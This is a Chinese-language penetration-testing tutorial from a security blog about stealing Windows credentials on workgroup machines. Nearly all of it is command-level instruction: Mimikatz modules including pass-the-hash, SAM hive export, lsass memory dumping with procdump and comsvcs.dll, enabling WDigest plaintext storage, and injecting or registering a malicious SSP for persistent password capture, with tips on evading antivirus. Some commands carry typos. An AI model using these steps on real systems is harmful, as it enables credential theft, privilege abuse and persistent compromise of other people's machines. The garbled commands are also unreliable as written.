工作组内的密码抓取
需要抓取哪些密码呢?
- 本地账户密码(或者hash)
- 域账户密码(或者hash)
- RDP账户密码
- 浏览器账户密码
- 数据库账户密码
- 本地保存的账户密码文件
GetPassword
注意:需使用高权限用户操作
打开GetPass工具所在的目录。打开命令行环境。运行64位程GetPassword。运行该程序后,即可获得明文密码
PwDump7
以高权限用户身份打开cmd,直接运行PwDump7.exe 就可得到用户的hash值
QuarksPwDump
同样为NTLM hash值
命令格式(高权限用户执行):
QuarksPwDump.exe --dump-hash-local
Mimikatz
项目地址:https://github.com/gentilkiwi/mimikatz/
注意:使用高权限用户操作
简介
Mimikatz是法国人benjamin开发的一款功能强大的轻量级调试工具,但由于其功能强大,能够 直接读取WindowsXP-2012等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具, mimikatz可以从内存中提取明文密码、哈希、PIN 码和 kerberos 票证。 mimikatz 还可以执行 哈希传递、票证传递或构建黄金票据。
密码使用方法
两个命令:
privilege::debug
sekurlsa::logonpasswords #抓取内存中的所有密码
其他模块
sekurlsa模块
privilege模块
privilege:: debug #提升为debug权限
sekurlsa:模块 从lsass进程中提取passwords、keys. pin、 tickets等信息
sekur1sa::msv #获取HASH (LM,NTLM)
sekurlsa::wdigest #通过可逆的方式去内存中读取明文密码
sekurlsa::Kerberos #假如域管理员正好在登陆了我们的电脑,我们可以通过这个命令来获取域管理员的明文密码
sekurlsa::tspkg #通过tspkg读取明文密码
sekurlsa::livessp #通过livessp读取明文密码sekurlsa::ssp通过ssp读取明文密码
sekurlsa::logonPasswords #通过以上各种方法读取明文密码
sekurlsa::process #将自己的进程切换到lsass进程中,之前只是注入读取信息
sekurlsa::minidump file #这个模块可以读取已经打包的内存信息
sekurlsa::pth #哈希传递
sekurlsa::pth /user:administrator/domain:host1 /ntlm:cdf34cda4e455232323xXxx
sekurlsa::pth /user:administrator /domain:host1 /aes256:cdf34cda4e455232323xXXX
process模块
process::list #列出进程列表
process::exports #导出进程列表
process::imports #导入列表
process::start #开始一个进程
process::stop #停止一个进程
process::suspend #冷冻一个进程
process::resume #从冷冻中恢复
process::run 程序名 #运行一个程序
process::runp #以SYSTEM系统权限打开一个新的mimikatz窗口
等等
在线读取SAM文件中的hash值
概述
在线读取即指定是将工具上传到目标的机器然后再直接读取机器上的SAM文件中的内容
弊端:上传的工具可能会被杀软杀掉;工具可能会因为网络问题传输可能不太完整;
本次主要读取的是NTLM-HASH值
方式一 mimikatz
命令如下:
privilege::debug
token::elevate
lsadump::sam
将三条合并为一条为:
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
方式二 CS读取
cs上线后进入机器的beacon模块
命令(高权限用户):hasudump
离线读取SAM文件中的hash值
概述
离线读取也就是不需要在受害机器本地读取,可以将SAM文件复制到自己的电脑上,然后再利用工具进行读取
离线读取可以在一定程度上可以躲避杀软
方式一 reg命令
命令为:
reg save hklm\sam sam.hive
reg save hklm\system system.hive
方式二 PS脚本
如果遇到此问题
请打开powershell,输入命令为:set-executionpolicy
关闭powershell
再鼠标右键,以管理员运行
再输入该命令:set-executionpolicy remotesigned
再次导入,执行脚本
读取复制的文件
使用mimikatz工具读取sam文件
命令为:
lsadump::sam /sam:sam.hive /system:system.hive
在线读取lsass进程内存密码
概述
上传工具到目标机器然后再读取机器内的lsass内存中的明文密码
这里主要读取的是明文密码
弊端:上传的工具可能会被杀软杀掉
工具mimikatz读取
mimikatz支持各种方式读取机器上的密码
privilege:debug
sekurlsa.:msv #获取HASH (LM,NTLM)
sekurlsa.:wdigest #通过可逆的方式去内存中读取明文密码
sekurlsa.Kerberos #获取域管理员的明文密码
sekurlsa..tspkg #通过tspkg读取明文密码
sekurlsa::livessp #通过livessp读取明文密码
sekurlsa.ssp #通过ssp读取明文密码
sekurlsa::logonPasswords #通过以上各种方法读取明文密码
一般情况下,都会直接使用sekurlsa::logonPasswords,读取密码
离线读取lsass进程内存密码
概述
离线读取即不再需要本地读取密码,先将机器上的lsass内存导出,然后在自己的电脑中使用mimikatz工具读取导出的文件,即可得到明文的账户密码。
可在一定程度上躲避杀软
方式一 任务管理器导出
在任务管理器中找到lsass.exe进程,右键创建转储文件
方式二 procdump工具
使用procdump 导出lsass.dmp文件,
ProcDump 是一个命令行实用工具,其主要用途 是在管理员或开发人员可用于确定峰值原因的峰值期间监视 CPU 峰值和生成故障转储的应用程序,微软的一般不会被杀软杀掉。
命令:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
方式三 PS脚本
命令:
Import-Module .\Out-Minidump.ps1
Get-Process lsass | Out-Minidump
方式四 comsvcs.dll
comsvcs.dll,系统自带
通过comsvcs.dll的导出函数MiniDump实现dump内存读取
命令:
先查询lsass.exe的进程号: tasklist | findstr lsass.exe
使用powershell导出rundll32:
rundll32 C:\Windows\System32\comsvcs.dll, MiniDump 480 C:\Users\Administrator\Desktop\lsass.dmp full
读取文件
使用mimikatz工具进行读取
命令
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"
或者
第一个命令:sekurlsa::minidump lsass.dmp
第二个命令:sekurlsa::logonPasswords full
读取任务管理器导出的lsass.DMP文件
其他三种方式导出的文件-读取方式一样(注意导出的文件名)
修改Wdigest注册表获取系统密码
概述
Win7、 Win server 2008等这样的机器内存中是存储明文的密码,但是在2012之后的机器(win10、win 8、win11、 2012、2016)或者安装了KB2971997补丁是内存中就不在存储明文密码了,我们就无法通过之前学习的方法抓取到明文的密码。
在Windows 2012系统及以上的系统,默认在内存中禁止保存明文密码。
攻击者可以通过修改注册表的方式抓取明文密码,但是需要用户重新登陆后才能成功抓取
注册表中开启或关闭存储明文密码
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
/v UseLogonCredential /t REG_DWORD /d 1 /f 开启
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
/v UseLogonCredential /t REG_DWORD /d 0 /f 关闭
操作
1、首先查询注册表中是否存在该值
命令:
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /V UseLogonCredential
2、修改UseLogonCredential的值为1(如果没有查到该值,可直接添加)
使用管理员权限修改
命令
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
3、修改成功之后,内存就可以存储明文密码了,但需要用户重新输入密码
三种方式:
- 锁屏,重新登录( rundll32.exe user32.dll,LockWorkStation)
- 注销用户(query user 查询用户,logoff id 注销用户)
- 重启计算机
4、使用Mimikatz读取计算机中的存储的明文密码
privilege::debug
sekurlsa::logonPasswords
内存注入SSP获取系统密码
概述
在Mimikatz中,有写好的恶意ssp,可以提供本地认证时候对明文账户密码进行记录。我们需要将ssp注入到系统内存中,就可以获取本地的明文账户密码。
由于注入在内存中,所以重启就失效了,故该攻击也称之为SSP注入。
操作
1、第一步将SSP注入到内存中,两种方式:
- 使用mimikatz
- 使用ps脚本
使用mimikatz
privilege::debug
misc::memssp
2、需要用户重新输入密码
通过锁屏或注销等方式
锁屏命令:rundll32.exe user32.dll,LockWorkStation
3、输入密码后,在C:\Windows\System32\mimilsa.log即可查看明文密码
注册表添加SSP获取系统密码
概述
SSP注入只要计算机重启即无法使用,想要使得永久生效,需要将SSP添加到注册表中,只要系统重启就会加载SSP。
操作
1、将mimikatz压缩包中的mimilib.dll,这个文件就是SSP,将该文件复制到C:\Windows\System32目录中
2、修改注册表
命令
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Security Packages" /t REG_MULTI_SZ /d mimilib.dll /f
3、密码会存储在C:\Windows\System32\kiwissp.log文件中
本文系作者 @小白学安全 原创发布在 xbxaq.com 站点,未经许可,禁止转载!
评论